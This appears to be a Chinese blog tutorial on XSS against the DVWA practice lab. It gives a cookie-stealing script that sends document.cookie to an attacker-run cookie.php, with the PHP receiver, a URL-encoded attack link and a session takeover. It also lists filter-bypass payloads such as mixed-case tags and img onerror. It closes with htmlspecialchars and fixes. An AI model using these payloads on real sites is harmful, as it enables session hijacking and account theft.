Web渗透_XSS




XSS

(Cross-site scripting: 跨站脚本攻击)



1. XSS有三种类型:反射型XSS、存储型XSS、DOM型XSS。

2. XSS攻击前,被害人一定是已经登录了目标站点。





反射型XSS(Reflected)



打开Low等级的XSS界面:
happysneaker.com


step①

试一下能不能弹窗,输入<script>alert("HEllo")</script>,结果成功弹出窗口,说明存在反射型XSS

happysneaker.com


要知道JS有三个可以弹窗的函数,注意如下窗口区别,可以都试一试:

happysneaker.com


step②

上面确定了存在XSS注入点,那么攻击思路也就有了:


场景想盗取被害人的B站信息然后进行其他操作(获取信息、改密、交易等等),那么目标是先以被害人的身份登录B站:


1-首先攻击者需要构造一个自己的Web服务器地址,比如 Ip/cookie.php , 因为是在本地演示,所以就是 127.0.0.1/cookie.php ,用cookit.txt 来接收受害人点击我们提供的危险连接之后B站的响应头。cookie.php代码如下,cookie.php需要攻击者上传到自己的服务器上,phpstudy的根目录下的www就是本地的根目录:

<?php      
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

happysneaker.com

happysneaker.com




2-构造带有XSS脚本,然后构造带有此XSS脚本的B站链接发送给受害人:

<script>
document.location='http://127.0.0.1/cookie.php?cookie= '+document.cookie;
</script>


因为是网站的name参数存在XSS,所以要把XSS脚本放到name参数上,URL为:

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie= '+document.cookie;</script>


这里还不行,这样的链接肯定不会成功,还得经过 URL编码,才能成为一个可食用的URL(有很多URLencode工具可用):

http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=%3cscript%3edocument.location%3d%27http%3a%2f%2f127.0.0.1%2fcookie.php%3fcookie%3d+%27%2bdocument.cookie%3b%3c%2fscript%3e


happysneaker.com


3-等待被害人点击危险链接,点击后我们即可登录自己的服务器查看cookie.txt文件是否接收到了内容。我们以被害人的身份点击链接,然后发现成功:

happysneaker.comhappysneaker.com


四、接收到被害人的cookie,我们进行正常登录B站。打开登录地址,发送cookie,然后直接访问网站首页,登录成功。



然后看Medium等级的,发现输入<script>不行,后台过滤了<script>标签:

方法一:可能只过滤了一次<script>标签,试试嵌套,成功:

happysneaker.com

方法二:试试标签大小写混合,比如<ScRipt>alert("Hi")</script>,也成功。


看High等级:

Medium等级的两种方法都失败,Low等级的更不行。能插入JS代码的并不只有<scirpt>,其实<img>和<iframe>标签也可以插入JS代码:

<img src=x onerror=alert("hello")>  或者 <iframe onload=alert(1)>  :

happysneaker.com

这说明后台只对<script>标签进行了过滤,而且没有针对大小写过滤。


最后看impossible等级:

impossible等级无法进行XSS,看源码:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input  ,这个函数是关键的,他可以对五种字符进行转码,但是默认对单引号不编码
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>
关键在于 htmlspecialchars( $_GET[ 'name' ] )
此函数对用户输入进行特殊字符编码,如下五种,但默认对单引号不管,单引号需要用ENT_QUOTES参数单独设置。


happysneaker.com







存储型XSS(stored)


happysneaker.com

多见于留言板之类。


第一个问题,限制了输入字数,这就意味着在构造脚本的时候会受到限制,分别是10、50个字符:

happysneaker.com


但是得考虑这是前端限制还是服务端限制,前端限制的话可以用发包软件进行字数修改:

happysneaker.com

happysneaker.com

happysneaker.com

果然是前端进行了限制,其他的剩下的攻击方式就和反射型XSS一样了,存储型XSS的唯一区别是存储在了服务器的数据库里。

可以总结存储型XSS漏洞的产生往往是因为没有在服务器端对用户的输入进行限制,而只是在前端进行了限制。






总结


修复XSS漏洞有两个点:

① 对用户输入进行服务器端过滤,要考虑用白名单的方式;

② 最重要的一点是对进行输出过滤,包括HTML编码、JS转义








注意:

① 

happysneaker.com








Web安全技术分享
请先登录后发表评论
  • 最新评论
  • 总共0条评论